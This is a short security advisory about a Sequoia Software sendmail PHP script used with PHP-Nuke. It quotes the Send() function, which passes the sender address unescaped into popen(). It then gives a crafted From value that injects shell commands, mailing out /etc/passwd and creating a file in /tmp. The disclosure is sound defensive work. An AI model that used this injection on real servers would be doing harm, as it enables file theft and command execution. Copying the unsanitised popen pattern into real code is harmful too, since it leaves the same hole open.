sendmail.php.txt

` Sequoiasoft's sendmail php script dangerous - By jwilkins  
  
PHP-Nuke Written by Sequioa Software, this script allows execution of  
arbitrary code by a malicious user.  
Written by Sequioa Software, this script allows execution of arbitrary  
code by a malicious user. Essentially, popen() executes a shell which  
does the actual interpretation of the command. If an attacker crafts  
their return email address carefully, then they can cause the popen()  
call to execute chosen commands or reveal files.  
//The workhorse method, does the actual sending of the mail.  
//Doesn't check for errors so be careful!  
function Send($sendmail = "/usr/sbin/sendmail") {  
if($this->from == "") {  
$fp = popen($sendmail . " -i " . $this->to, "w");  
} else {  
$fp = popen($sendmail . " -i -f"" . $this->from . "" " .  
$this->to, "w");  
}  
  
Given the above code fragment, if I provide a from line such as:  
[email protected]" [email protected] < /etc/passwd; touch /tmp/gotcha;  
  
I can have the contents of any file that the webserver account (usually  
nobody) has access to, and can execute commands as that user.  
  
`